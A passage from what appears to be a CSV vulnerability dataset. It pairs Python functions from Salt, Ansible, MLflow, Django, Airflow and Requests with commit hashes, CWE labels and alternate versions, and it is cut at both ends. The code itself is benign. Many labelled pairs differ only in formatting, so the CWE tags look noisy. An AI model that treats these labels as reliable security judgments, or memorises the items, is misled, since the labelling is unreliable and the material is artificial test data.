            .order_by(BackfillDagRun.sort_ordinal)
            .limit(1)
        )
        return next_run
    else:
        dr = dag_maker.create_dagrun(logical_date=next_date, run_id=""second_run"")
        return dr"
,UNKNOWN,UNKNOWN,tools/pkgrepo.py,1,"def github(
    ctx: Context,
    salt_version: str,
    key_id: str = None,
    rc_build: bool = False,
    repository: str = ""saltstack/salt"",
):
    """"""
    Publish the release on GitHub releases.
    """"""
    if TYPE_CHECKING:
        assert key_id is not None

    s3 = boto3.client(""s3"")

    # Let's download the release artifacts stored in staging
    artifacts_path = pathlib.Path.cwd() / ""release-artifacts""
    artifacts_path.mkdir(exist_ok=True)
    release_artifacts_listing: dict[pathlib.Path, int] = {}
    continuation_token = None
    while True:
        kwargs: dict[str, str] = {}
        if continuation_token:
            kwargs[""ContinuationToken""] = continuation_token
        ret = s3.list_objects_v2(
            Bucket=tools.utils.STAGING_BUCKET_NAME,
            Prefix=f""release-artifacts/{salt_version}"",
            FetchOwner=False,
            **kwargs,
        )
        contents = ret.pop(""Contents"", None)
        if contents is None:
            break
        for entry in contents:
            entry_path = pathlib.Path(entry[""Key""])
            release_artifacts_listing[entry_path] = entry[""Size""]
        if not ret[""IsTruncated""]:
            break
        continuation_token = ret[""NextContinuationToken""]

    for entry_path, size in release_artifacts_listing.items():
        ctx.info(f"" * {entry_path.name}"")
        local_path = artifacts_path / entry_path.name
        with local_path.open(""wb"") as wfh:
            with tools.utils.create_progress_bar(file_progress=True) as progress:
                task = progress.add_task(description=""Downloading..."", total=size)
            s3.download_fileobj(
                Bucket=tools.utils.STAGING_BUCKET_NAME,
                Key=str(entry_path),
                Fileobj=wfh,
                Callback=tools.utils.UpdateProgress(progress, task),
            )

    for artifact in artifacts_path.iterdir():
        if artifact.suffix in ("".patch"", "".asc"", "".gpg"", "".pub""):
            continue
        tools.utils.gpg_sign(ctx, key_id, artifact)

    # Export the GPG key in use
    tools.utils.export_gpg_key(ctx, key_id, artifacts_path)

    release_message = f""""""\
    # Welcome to Salt v{salt_version}

    | :exclamation: ATTENTION                                                                                                  |
    |:-------------------------------------------------------------------------------------------------------------------------|
    | The archives generated by GitHub(`Source code(zip)`, `Source code(tar.gz)`) will not report Salt's version properly.     |
    | Please use the tarball generated by The Salt Project Team(`salt-{salt_version}.tar.gz`).
    """"""
    release_message_path = artifacts_path / ""gh-release-body.md""
    release_message_path.write_text(textwrap.dedent(release_message).strip())

    github_output = os.environ.get(""GITHUB_OUTPUT"")
    if github_output is None:
        ctx.warn(""The 'GITHUB_OUTPUT' variable is not set. Stop processing."")
        ctx.exit(0)

    if TYPE_CHECKING:
        assert github_output is not None

    with open(github_output, ""a"", encoding=""utf-8"") as wfh:
        wfh.write(f""release-messsage-file={release_message_path.resolve()}\n"")

    releases = _get_salt_releases(ctx, repository)
    if Version(salt_version) >= releases[-1]:
        make_latest = True
    else:
        make_latest = False
    with open(github_output, ""a"", encoding=""utf-8"") as wfh:
        wfh.write(f""make-latest={json.dumps(make_latest)}\n"")

    artifacts_to_upload = []
    for artifact in artifacts_path.iterdir():
        if artifact.suffix == "".patch"":
            continue
        if artifact.name == release_message_path.name:
            continue
        artifacts_to_upload.append(str(artifact.resolve()))

    with open(github_output, ""a"", encoding=""utf-8"") as wfh:
        wfh.write(f""release-artifacts={','.join(artifacts_to_upload)}\n"")
    ctx.exit(0)",CWE-703,saltstack/salt,e17279d9d2f099085844a365da0c27d68c063839,"def github(
    ctx: Context,
    salt_version: str,
    key_id: str = None,
    rc_build: bool = False,
    repository: str = ""saltstack/salt"",
):
    """"""
    Publish the release on GitHub releases.
    """"""
    if TYPE_CHECKING:
        assert key_id is not None

    s3 = boto3.client(""s3"")

    # Let's download the release artifacts stored in staging
    artifacts_path = pathlib.Path.cwd() / ""release-artifacts""
    artifacts_path.mkdir(exist_ok=True)
    release_artifacts_listing: dict[pathlib.Path, int] = {}
    continuation_token = None
    while True:
        kwargs: dict[str, str] = {}
        if continuation_token:
            kwargs[""ContinuationToken""] = continuation_token
        ret = s3.list_objects_v2(
            Bucket=tools.utils.STAGING_BUCKET_NAME,
            Prefix=f""release-artifacts/{salt_version}"",
            FetchOwner=False,
            **kwargs,
        )
        contents = ret.pop(""Contents"", None)
        if contents is None:
            break
        for entry in contents:
            entry_path = pathlib.Path(entry[""Key""])
            release_artifacts_listing[entry_path] = entry[""Size""]
        if not ret[""IsTruncated""]:
            break
        continuation_token = ret[""NextContinuationToken""]

    for entry_path, size in release_artifacts_listing.items():
        ctx.info(f"" * {entry_path.name}"")
        local_path = artifacts_path / entry_path.name
        with local_path.open(""wb"") as wfh:
            with tools.utils.create_progress_bar(file_progress=True) as progress:
                task = progress.add_task(description=""Downloading..."", total=size)
            s3.download_fileobj(
                Bucket=tools.utils.STAGING_BUCKET_NAME,
                Key=str(entry_path),
                Fileobj=wfh,
                Callback=tools.utils.UpdateProgress(progress, task),
            )

    for artifact in artifacts_path.iterdir():
        if artifact.suffix in ("".patch"", "".asc"", "".gpg"", "".pub""):
            continue
        tools.utils.gpg_sign(ctx, key_id, artifact)

    # Export the GPG key in use
    tools.utils.export_gpg_key(ctx, key_id, artifacts_path)

    release_message = f""""""\
    # Welcome to Salt v{salt_version}

    | :exclamation: ATTENTION                                                                                                   |
    |:-------------------------------------------------------------------------------------------------------------------------|
    | The archives generated by GitHub(`Source code(zip)`, `Source code(tar.gz)`) will not report Salt's version properly.     |
    | Please use the tarball generated by The Salt Project Team(`salt-{salt_version}.tar.gz`).
    """"""
    release_message_path = artifacts_path / ""gh-release-body.md""
    release_message_path.write_text(textwrap.dedent(release_message).strip())

    github_output = os.environ.get(""GITHUB_OUTPUT"")
    if github_output is None:
        ctx.warn(""The 'GITHUB_OUTPUT' variable is not set. Stop processing."")
        ctx.exit(0)

    if TYPE_CHECKING:
        assert github_output is not None

    with open(github_output, ""a"", encoding=""utf-8"") as wfh:
        wfh.write(f""release-messsage-file={release_message_path.resolve()}\n"")

    releases = _get_salt_releases(ctx, repository)
    if Version(salt_version) >= releases[-1]:
        make_latest = True
    else:
        make_latest = False
    with open(github_output, ""a"", encoding=""utf-8"") as wfh:
        wfh.write(f""make-latest={json.dumps(make_latest)}\n"")

    artifacts_to_upload = []
    for artifact in artifacts_path.iterdir():
        if artifact.suffix == "".patch"":
            continue
        if artifact.name == release_message_path.name:
            continue
        artifacts_to_upload.append(str(artifact.resolve()))

    with open(github_output, ""a"", encoding=""utf-8"") as wfh:
        wfh.write(f""release-artifacts={','.join(artifacts_to_upload)}\n"")
    ctx.exit(0)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_macpackage.py,1,"def test_installed_pkg_version_fails():
    """"""
    Test installing a PKG file where the version number if different from the expected one
    """"""
    expected = {
        ""changes"": {""installed"": [""some.other.id""]},
        ""comment"": (
            ""Version Version of this: 1.8.9 doesn't match .*5\\.1\\.[0-9].""
            "" /path/to/file.pkg installed""
        ),
        ""name"": ""/path/to/file.pkg"",
        ""result"": True,
    }

    installed_mock = MagicMock(return_value=[""com.apple.id""])
    get_pkg_id_mock = MagicMock(return_value=[""some.other.id""])
    install_mock = MagicMock(return_value={""retcode"": 0})
    cmd_mock = MagicMock(return_value=""Version of this: 1.8.9"")

    with patch.dict(
        macpackage.__salt__,
        {
            ""macpackage.installed_pkgs"": installed_mock,
            ""macpackage.get_pkg_id"": get_pkg_id_mock,
            ""macpackage.install"": install_mock,
            ""cmd.run"": cmd_mock,
        },
    ):
        out = macpackage.installed(
            ""/path/to/file.pkg"",
            version_check=r""/usr/bin/runme --version=.*5\.1\.[0-9]"",
        )
        cmd_mock.assert_called_once_with(
            ""/usr/bin/runme --version"", output_loglevel=""quiet"", ignore_retcode=True
        )
        installed_mock.assert_called_once_with()
        get_pkg_id_mock.assert_called_once_with(""/path/to/file.pkg"")
        install_mock.assert_called_once_with(
            ""/path/to/file.pkg"", ""LocalSystem"", False, False
        )
        assert out == expected",CWE-703,saltstack/salt,536e103cc26b63c25d0a6537135fce175c55cdf6,"def test_installed_pkg_version_fails():
    """"""
    Test installing a PKG file where the version number if different from the expected one
    """"""
    expected = {
        ""changes"": {""installed"": [""some.other.id""]},
        ""comment"": ""Version Version of this: 1.8.9 doesn't match .*5\\.1\\.[0-9]. /path/to/file.pkg installed"",
        ""name"": ""/path/to/file.pkg"",
        ""result"": True,
    }

    installed_mock = MagicMock(return_value=[""com.apple.id""])
    get_pkg_id_mock = MagicMock(return_value=[""some.other.id""])
    install_mock = MagicMock(return_value={""retcode"": 0})
    cmd_mock = MagicMock(return_value=""Version of this: 1.8.9"")

    with patch.dict(
        macpackage.__salt__,
        {
            ""macpackage.installed_pkgs"": installed_mock,
            ""macpackage.get_pkg_id"": get_pkg_id_mock,
            ""macpackage.install"": install_mock,
            ""cmd.run"": cmd_mock,
        },
    ):
        out = macpackage.installed(
            ""/path/to/file.pkg"",
            version_check=r""/usr/bin/runme --version=.*5\.1\.[0-9]"",
        )
        cmd_mock.assert_called_once_with(
            ""/usr/bin/runme --version"", output_loglevel=""quiet"", ignore_retcode=True
        )
        installed_mock.assert_called_once_with()
        get_pkg_id_mock.assert_called_once_with(""/path/to/file.pkg"")
        install_mock.assert_called_once_with(
            ""/path/to/file.pkg"", ""LocalSystem"", False, False
        )
        assert out == expected"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/__init__.py,0,"def __init__(self, class_name, package, config, subdir, aliases={}, required_base_class=None):

        self.class_name         = class_name
        self.base_class         = required_base_class
        self.package            = package
        self.subdir             = subdir
        self.aliases            = aliases

        if config and not isinstance(config, list):
            config = [config]
        elif not config:
            config = []

        self.config = config

        if not class_name in MODULE_CACHE:
            MODULE_CACHE[class_name] = {}
        if not class_name in PATH_CACHE:
            PATH_CACHE[class_name] = None
        if not class_name in PLUGIN_PATH_CACHE:
            PLUGIN_PATH_CACHE[class_name] = defaultdict(dict)

        self._module_cache      = MODULE_CACHE[class_name]
        self._paths             = PATH_CACHE[class_name]
        self._plugin_path_cache = PLUGIN_PATH_CACHE[class_name]

        self._extra_dirs = []
        self._searched_paths = set()",,ansible/ansible,da175d0a5722f3b54a9086b38325994f20307a3f,"def __init__(self, class_name, package, config, subdir, aliases={}, required_base_class=None):

        self.class_name         = class_name
        self.base_class         = required_base_class
        self.package            = package
        self.subdir             = subdir
        self.aliases            = aliases

        if config and not isinstance(config, list):
            config = [config]
        else:
            config = []

        self.config = config

        if not class_name in MODULE_CACHE:
            MODULE_CACHE[class_name] = {}
        if not class_name in PATH_CACHE:
            PATH_CACHE[class_name] = None
        if not class_name in PLUGIN_PATH_CACHE:
            PLUGIN_PATH_CACHE[class_name] = defaultdict(dict)

        self._module_cache      = MODULE_CACHE[class_name]
        self._paths             = PATH_CACHE[class_name]
        self._plugin_path_cache = PLUGIN_PATH_CACHE[class_name]

        self._extra_dirs = []
        self._searched_paths = set()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pyfunc/__init__.py,0,"def spark_udf(spark, model_uri, result_type=""double""):
    """"""
    A Spark UDF that can be used to invoke the Python function formatted model.

    Parameters passed to the UDF are forwarded to the model as a DataFrame where the names are
    ordinals (0, 1, ...).

    The predictions are filtered to contain only the columns that can be represented as the
    ``result_type``. If the ``result_type`` is string or array of strings, all predictions are
    converted to string. If the result type is not an array type, the left most column with
    matching type is returned.

    >>> predict = mlflow.pyfunc.spark_udf(spark, ""/my/local/model"")
    >>> df.withColumn(""prediction"", predict(""name"", ""age"")).show()

    :param spark: A SparkSession object.
    :param model_uri: The location, in URI format, of the MLflow model with the
                      :py:mod:`mlflow.pyfunc` flavor, for example:

                      - ``/Users/me/path/to/local/model``
                      - ``relative/path/to/local/model``
                      - ``s3://my_bucket/path/to/model``
                      - ``runs:/<mlflow_run_id>/run-relative/path/to/model``

                      For more information about supported URI schemes, see the
                      `Artifacts Documentation <https://www.mlflow.org/docs/latest/tracking.html#
                      supported-artifact-stores>`_.
    :param result_type: the return type of the user-defined function. The value can be either a
                        :class:`pyspark.sql.types.DataType` object or a DDL-formatted type string.
                        Only a primitive type or an array (pyspark.sql.types.ArrayType) of primitive
                        types are allowed. The following classes of result type are supported:

                        - ""int"" or pyspark.sql.types.IntegerType: The leftmost integer that can fit
                          in int32 result is returned or exception is raised if there is none.
                        - ""long"" or pyspark.sql.types.LongType: The leftmost long integer that can
                          fit in int64 result is returned or exception is raised if there is none.
                        - ArrayType(IntegerType|LongType): Return all integer columns that can fit
                          into the requested size.
                        - ""float"" or pyspark.sql.types.FloatType: The leftmost numeric result cast
                          to float32 is returned or exception is raised if there is none.
                        - ""double"" or pyspark.sql.types.DoubleType: The leftmost numeric result cast
                          to double is returned or exception is raised if there is none..
                        - ArrayType(FloatType|DoubleType): Return all numeric columns cast to the
                          requested type. Exception is raised if there are no numeric columns.
                        - ""string"" or pyspark.sql.types.StringType: Result is the leftmost column
                          converted to string.
                        - ArrayType(StringType): Return all columns converted to string.

    :return: Spark UDF which applies model's prediction method to the data. Default double.
    """"""

    # Scope Spark import to this method so users don't need pyspark to use non-Spark-related
    # functionality.
    from mlflow.pyfunc.spark_model_cache import SparkModelCache
    from pyspark.sql.functions import pandas_udf
    from pyspark.sql.types import _parse_datatype_string
    from pyspark.sql.types import ArrayType, DataType
    from pyspark.sql.types import DoubleType, IntegerType, FloatType, LongType, StringType

    if not isinstance(result_type, DataType):
        result_type = _parse_datatype_string(result_type)

    elem_type = result_type
    if isinstance(elem_type, ArrayType):
        elem_type = elem_type.elementType

    supported_types = [IntegerType, LongType, FloatType, DoubleType, StringType]

    if not any([isinstance(elem_type, x) for x in supported_types]):
        raise MlflowException(
            message=""Invalid result_type '{}'. Result type can only be one of or an array of one ""
                    ""of the following types types: {}"".format(str(elem_type), str(supported_types)),
            error_code=INVALID_PARAMETER_VALUE)

    local_model_path = _download_artifact_from_uri(artifact_uri=model_uri)
    archive_path = SparkModelCache.add_local_model(spark, local_model_path)

    def predict(*args):
        model = SparkModelCache.get_or_load(archive_path)
        schema = {str(i): arg for i, arg in enumerate(args)}
        # Explicitly pass order of columns to avoid lexicographic ordering (i.e., 10 < 2)
        columns = [str(i) for i, _ in enumerate(args)]
        pdf = pandas.DataFrame(schema, columns=columns)
        result = model.predict(pdf)
        if not isinstance(result, pandas.DataFrame):
            result = pandas.DataFrame(data=result)

        elif type(elem_type) == IntegerType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort,
                                           np.int32]).astype(np.int32)

        elif type(elem_type) == LongType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort, np.int, np.long])

        elif type(elem_type) == FloatType:
            result = result.select_dtypes(include=np.number).astype(np.float32)

        elif type(elem_type) == DoubleType:
            result = result.select_dtypes(include=np.number).astype(np.float64)

        if len(result.columns) == 0:
            raise MlflowException(
                message=""The the model did not produce any values compatible with the requested ""
                        ""type '{}'. Consider requesting udf with StringType or ""
                        ""Arraytype(StringType)."".format(str(elem_type)),
                error_code=INVALID_PARAMETER_VALUE)

        if type(elem_type) == StringType:
            result = result.applymap(str)

        if type(result_type) == ArrayType:
            return pandas.Series([row[1].values for row in result.iterrows()])
        else:
            return result[result.columns[0]]

    return pandas_udf(predict, result_type)",,mlflow/mlflow,4866f5a8f6d56bfe57b63db3588d62dc20e23a89,"def spark_udf(spark, model_uri, result_type=""double""):
    """"""
    A Spark UDF that can be used to invoke the Python function formatted model.

    Parameters passed to the UDF are forwarded to the model as a DataFrame where the names are
    ordinals (0, 1, ...).

    The predictions are filtered to contain only the columns that can be represented as the
    ``result_type``. If the ``result_type`` is string or array of strings, all predictions are
    converted to string. If the result type is not an array type, the left most column with
    matching type is returned.

    >>> predict = mlflow.pyfunc.spark_udf(spark, ""/my/local/model"")
    >>> df.withColumn(""prediction"", predict(""name"", ""age"")).show()

    :param spark: A SparkSession object.
    :param model_uri: The location, in URI format, of the MLflow model with the
                      :py:mod:`mlflow.pyfunc` flavor, for example:

                      - ``/Users/me/path/to/local/model``
                      - ``relative/path/to/local/model``
                      - ``s3://my_bucket/path/to/model``
                      - ``runs:/<mlflow_run_id>/run-relative/path/to/model``

                      For more information about supported URI schemes, see the
                      `Artifacts Documentation <https://www.mlflow.org/docs/latest/tracking.html#
                      supported-artifact-stores>`_.
    :param result_type: the return type of the user-defined function. The value can be either a
                        :class:`pyspark.sql.types.DataType` object or a DDL-formatted type string.
                        Only a primitive type or an array (pyspark.sql.types.ArrayType) of primitive
                        types are allowed. The following classes of result type are supported:
                        - ""int"" or pyspark.sql.types.IntegerType: The leftmost integer that can fit
                          in int32 result is returned or exception is raised if there is none.
                        - ""long"" or pyspark.sql.types.LongType: The leftmost long integer that can
                          fit in int64 result is returned or exception is raised if there is none.
                        - ArrayType(IntegerType|LongType): Return all integer columns that can fit
                          into the requested size.
                        - ""float"" or pyspark.sql.types.FloatType: The leftmost numeric result cast
                          to float32 is returned or exception is raised if there is none.
                        - ""double"" or pyspark.sql.types.DoubleType: The leftmost numeric result cast
                          to double is returned or exception is raised if there is none..
                        - ArrayType(FloatType|DoubleType): Return all numeric columns cast to the
                          requested type. Exception is raised if there are no numeric columns.
                        - ""string"" or pyspark.sql.types.StringType: Result is the leftmost column
                          converted to string.
                        - ArrayType(StringType): Return all columns converted to string.

    :return: Spark UDF which applies model's prediction method to the data. Default double.
    """"""

    # Scope Spark import to this method so users don't need pyspark to use non-Spark-related
    # functionality.
    from mlflow.pyfunc.spark_model_cache import SparkModelCache
    from pyspark.sql.functions import pandas_udf
    from pyspark.sql.types import _parse_datatype_string
    from pyspark.sql.types import ArrayType, DataType
    from pyspark.sql.types import DoubleType, IntegerType, FloatType, LongType, StringType

    if not isinstance(result_type, DataType):
        result_type = _parse_datatype_string(result_type)

    elem_type = result_type
    if isinstance(elem_type, ArrayType):
        elem_type = elem_type.elementType

    supported_types = [IntegerType, LongType, FloatType, DoubleType, StringType]

    if not any([isinstance(elem_type, x) for x in supported_types]):
        raise MlflowException(
            message=""Invalid result_type '{}'. Result type can only be one of or an array of one ""
                    ""of the following types types: {}"".format(str(elem_type), str(supported_types)),
            error_code=INVALID_PARAMETER_VALUE)

    local_model_path = _download_artifact_from_uri(artifact_uri=model_uri)
    archive_path = SparkModelCache.add_local_model(spark, local_model_path)

    def predict(*args):
        model = SparkModelCache.get_or_load(archive_path)
        schema = {str(i): arg for i, arg in enumerate(args)}
        # Explicitly pass order of columns to avoid lexicographic ordering (i.e., 10 < 2)
        columns = [str(i) for i, _ in enumerate(args)]
        pdf = pandas.DataFrame(schema, columns=columns)
        result = model.predict(pdf)
        if not isinstance(result, pandas.DataFrame):
            result = pandas.DataFrame(data=result)

        elif type(elem_type) == IntegerType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort,
                                           np.int32]).astype(np.int32)

        elif type(elem_type) == LongType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort, np.int, np.long])

        elif type(elem_type) == FloatType:
            result = result.select_dtypes(include=np.number).astype(np.float32)

        elif type(elem_type) == DoubleType:
            result = result.select_dtypes(include=np.number).astype(np.float64)

        if len(result.columns) == 0:
            raise MlflowException(
                message=""The the model did not produce any values compatible with the requested ""
                        ""type '{}'. Consider requesting udf with StringType or ""
                        ""Arraytype(StringType)."".format(str(elem_type)),
                error_code=INVALID_PARAMETER_VALUE)

        if type(elem_type) == StringType:
            result = result.applymap(str)

        if type(result_type) == ArrayType:
            return pandas.Series([row[1].values for row in result.iterrows()])
        else:
            return result[result.columns[0]]

    return pandas_udf(predict, result_type)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/queries/tests.py,0,"def test_infinite_loop(self):
        # If you're not careful, it's possible to introduce infinite loops via
        # default ordering on foreign keys in a cycle. We detect that.
        self.assertRaisesMessage(
            FieldError,
            'Infinite loop caused by ordering.',
            lambda: list(LoopX.objects.all())  # Force queryset evaluation with list()
        )
        self.assertRaisesMessage(
            FieldError,
            'Infinite loop caused by ordering.',
            lambda: list(LoopZ.objects.all())  # Force queryset evaluation with list()
        )

        # Note that this doesn't cause an infinite loop, since the default
        # ordering on the Tag model is empty (and thus defaults to using ""id""
        # for the related field).
        self.assertEqual(len(Tag.objects.order_by('parent')), 5)

        # ... but you can still order in a non-recursive fashion amongst linked
        # fields (the previous test failed because the default ordering was
        # recursive).
        self.assertQuerysetEqual(
            LoopX.objects.all().order_by('y__x__y__x__id'),
            []
        )",CWE-Unknown,django/django,3bc0d46a840f17dce561daca8a6b8690b2cf5d0a,"def test_infinite_loop(self):
        # If you're not careful, it's possible to introduce infinite loops via
        # default ordering on foreign keys in a cycle. We detect that.
        self.assertRaisesMessage(
            FieldError,
            'Infinite loop caused by ordering.',
            lambda: list(LoopX.objects.all()) # Force queryset evaluation with list()
        )
        self.assertRaisesMessage(
            FieldError,
            'Infinite loop caused by ordering.',
            lambda: list(LoopZ.objects.all()) # Force queryset evaluation with list()
        )

        # Note that this doesn't cause an infinite loop, since the default
        # ordering on the Tag model is empty (and thus defaults to using ""id""
        # for the related field).
        self.assertEqual(len(Tag.objects.order_by('parent')), 5)

        # ... but you can still order in a non-recursive fashion amongst linked
        # fields (the previous test failed because the default ordering was
        # recursive).
        self.assertQuerysetEqual(
            LoopX.objects.all().order_by('y__x__y__x__id'),
            []
        )"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_mapped_task_instance_endpoint.py,1,"def test_mapped_task_instances(self, one_task_with_mapped_tis, session):
        response = self.client.get(
            ""/api/v1/dags/mapped_tis/dagRuns/run_mapped_tis/taskInstances/task_2/0"",
            environ_overrides={""REMOTE_USER"": ""test""},
        )
        assert response.status_code == 200
        assert response.json == {
            ""dag_id"": ""mapped_tis"",
            ""dag_run_id"": ""run_mapped_tis"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": ""2020-01-01T00:00:00+00:00"",
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""map_index"": 0,
            ""max_tries"": 0,
            ""note"": None,
            ""operator"": ""MockOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_when"": None,
            ""rendered_fields"": {},
            ""sla_miss"": None,
            ""start_date"": ""2020-01-01T00:00:00+00:00"",
            ""state"": ""success"",
            ""task_id"": ""task_2"",
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""trigger"": None,
            ""triggerer_job"": None,
        }",CWE-703,apache/airflow,3b032e5a6a9a2dda0fa98d8b4d54dba7d2b305be,"def test_mapped_task_instances(self, one_task_with_mapped_tis, session):
        response = self.client.get(
            ""/api/v1/dags/mapped_tis/dagRuns/run_mapped_tis/taskInstances/task_2/0"",
            environ_overrides={""REMOTE_USER"": ""test""},
        )
        assert response.status_code == 200
        assert response.json == {
            ""dag_id"": ""mapped_tis"",
            ""dag_run_id"": ""run_mapped_tis"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": ""2020-01-01T00:00:00+00:00"",
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""map_index"": 0,
            ""max_tries"": 0,
            ""notes"": None,
            ""operator"": ""MockOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_when"": None,
            ""rendered_fields"": {},
            ""sla_miss"": None,
            ""start_date"": ""2020-01-01T00:00:00+00:00"",
            ""state"": ""success"",
            ""task_id"": ""task_2"",
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""trigger"": None,
            ""triggerer_job"": None,
        }"
,UNKNOWN,UNKNOWN,tests/xgboost/test_xgboost_autolog.py,1,"def test_xgb_api_autolog_registering_model(bst_params, dtrain):
    registered_model_name = ""test_autolog_registered_model""
    mlflow.xgboost.autolog(registered_model_name=registered_model_name)

    with mlflow.start_run():
        xgb.train(bst_params, dtrain)

        registered_model = MlflowClient().get_registered_model(registered_model_name)
        assert registered_model.name == registered_model_name",CWE-703,mlflow/mlflow,4ea9cca102e586de9281d224153c21099ec41dd2,"def test_xgb_api_autolog_registering_model(bst_params, dtrain):
    registered_model_name = ""test_autolog_registered_model""
    mlflow.xgboost.autolog(registered_model_name=registered_model_name)

    with mlflow.start_run():
        xgb.train(bst_params, dtrain)

        registered_model = MlflowClient().get_registered_model(registered_model_name)
        assert registered_model.name == registered_model_name"
,UNKNOWN,UNKNOWN,test_requests.py,1,"def test_headers_on_session_with_None_are_not_sent(self):
        """"""Do not send headers in Session.headers with None values.""""""
        ses = requests.Session()
        ses.headers['Accept-Encoding'] = None
        req = requests.Request('GET', httpbin('get'))
        prep = ses.prepare_request(req)
        assert 'Accept-Encoding' not in prep.headers",CWE-703,psf/requests,4e90aa7bd0c8051fe4894971fb77c72a26a92728,"def test_headers_on_session_with_None_are_not_sent(self):
        """"""Do not send headers in Session.headers with None values.""""""
        ses = requests.Session()
        ses.headers['Accept-Encoding'] = None
        req = requests.Request('GET', 'http://httpbin.org/get')
        prep = ses.prepare_request(req)
        assert 'Accept-Encoding' not in prep.headers"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/base.py,1,"def get_new_connection(self, conn_params):
        conn = Database.connect(**conn_params)
        conn.create_function(""django_date_extract"", 2, _sqlite_datetime_extract)
        conn.create_function(""django_date_trunc"", 2, _sqlite_date_trunc)
        conn.create_function(""django_datetime_cast_date"", 2, _sqlite_datetime_cast_date)
        conn.create_function(""django_datetime_cast_time"", 2, _sqlite_datetime_cast_time)
        conn.create_function(""django_datetime_extract"", 3, _sqlite_datetime_extract)
        conn.create_function(""django_datetime_trunc"", 3, _sqlite_datetime_trunc)
        conn.create_function(""django_time_extract"", 2, _sqlite_time_extract)
        conn.create_function(""django_time_trunc"", 2, _sqlite_time_trunc)
        conn.create_function(""django_time_diff"", 2, _sqlite_time_diff)
        conn.create_function(""django_timestamp_diff"", 2, _sqlite_timestamp_diff)
        conn.create_function(""django_format_dtdelta"", 3, _sqlite_format_dtdelta)
        conn.create_function('regexp', 2, _sqlite_regexp)
        conn.create_function('ACOS', 1, none_guard(math.acos))
        conn.create_function('ASIN', 1, none_guard(math.asin))
        conn.create_function('ATAN', 1, none_guard(math.atan))
        conn.create_function('ATAN2', 2, none_guard(math.atan2))
        conn.create_function('CEILING', 1, none_guard(math.ceil))
        conn.create_function('COS', 1, none_guard(math.cos))
        conn.create_function('COT', 1, none_guard(lambda x: 1 / math.tan(x)))
        conn.create_function('DEGREES', 1, none_guard(math.degrees))
        conn.create_function('EXP', 1, none_guard(math.exp))
        conn.create_function('FLOOR', 1, none_guard(math.floor))
        conn.create_function('LN', 1, none_guard(math.log))
        conn.create_function('LOG', 2, none_guard(lambda x, y: math.log(y, x)))
        conn.create_function('LPAD', 3, _sqlite_lpad)
        conn.create_function('MD5', 1, none_guard(lambda x: hashlib.md5(x.encode()).hexdigest()))
        conn.create_function('MOD', 2, none_guard(math.fmod))
        conn.create_function('PI', 0, lambda: math.pi)
        conn.create_function('POWER', 2, none_guard(operator.pow))
        conn.create_function('RADIANS', 1, none_guard(math.radians))
        conn.create_function('REPEAT', 2, none_guard(operator.mul))
        conn.create_function('REVERSE', 1, none_guard(lambda x: x[::-1]))
        conn.create_function('RPAD', 3, _sqlite_rpad)
        conn.create_function('SHA1', 1, none_guard(lambda x: hashlib.sha1(x.encode()).hexdigest()))
        conn.create_function('SHA224', 1, none_guard(lambda x: hashlib.sha224(x.encode()).hexdigest()))
        conn.create_function('SHA256', 1, none_guard(lambda x: hashlib.sha256(x.encode()).hexdigest()))
        conn.create_function('SHA384', 1, none_guard(lambda x: hashlib.sha384(x.encode()).hexdigest()))
        conn.create_function('SHA512', 1, none_guard(lambda x: hashlib.sha512(x.encode()).hexdigest()))
        conn.create_function('SIN', 1, none_guard(math.sin))
        conn.create_function('SQRT', 1, none_guard(math.sqrt))
        conn.create_function('TAN', 1, none_guard(math.tan))
        conn.create_aggregate('STDDEV_POP', 1, list_aggregate(statistics.pstdev))
        conn.create_aggregate('STDDEV_SAMP', 1, list_aggregate(statistics.stdev))
        conn.create_aggregate('VAR_POP', 1, list_aggregate(statistics.pvariance))
        conn.create_aggregate('VAR_SAMP', 1, list_aggregate(statistics.variance))
        conn.execute('PRAGMA foreign_keys = ON')
        return conn",CWE-327,django/django,0b70985f42da7a8eb2e206e6780681b7849564ef,"def get_new_connection(self, conn_params):
        conn = Database.connect(**conn_params)
        conn.create_function(""django_date_extract"", 2, _sqlite_datetime_extract)
        conn.create_function(""django_date_trunc"", 2, _sqlite_date_trunc)
        conn.create_function(""django_datetime_cast_date"", 2, _sqlite_datetime_cast_date)
        conn.create_function(""django_datetime_cast_time"", 2, _sqlite_datetime_cast_time)
        conn.create_function(""django_datetime_extract"", 3, _sqlite_datetime_extract)
        conn.create_function(""django_datetime_trunc"", 3, _sqlite_datetime_trunc)
        conn.create_function(""django_time_extract"", 2, _sqlite_time_extract)
        conn.create_function(""django_time_trunc"", 2, _sqlite_time_trunc)
        conn.create_function(""django_time_diff"", 2, _sqlite_time_diff)
        conn.create_function(""django_timestamp_diff"", 2, _sqlite_timestamp_diff)
        conn.create_function(""django_format_dtdelta"", 3, _sqlite_format_dtdelta)
        conn.create_function('regexp', 2, _sqlite_regexp)
        conn.create_function('ACOS', 1, none_guard(math.acos))
        conn.create_function('ASIN', 1, none_guard(math.asin))
        conn.create_function('ATAN', 1, none_guard(math.atan))
        conn.create_function('ATAN2', 2, none_guard(math.atan2))
        conn.create_function('CEILING', 1, none_guard(math.ceil))
        conn.create_function('COS', 1, none_guard(math.cos))
        conn.create_function('COT', 1, none_guard(lambda x: 1 / math.tan(x)))
        conn.create_function('DEGREES', 1, none_guard(math.degrees))
        conn.create_function('EXP', 1, none_guard(math.exp))
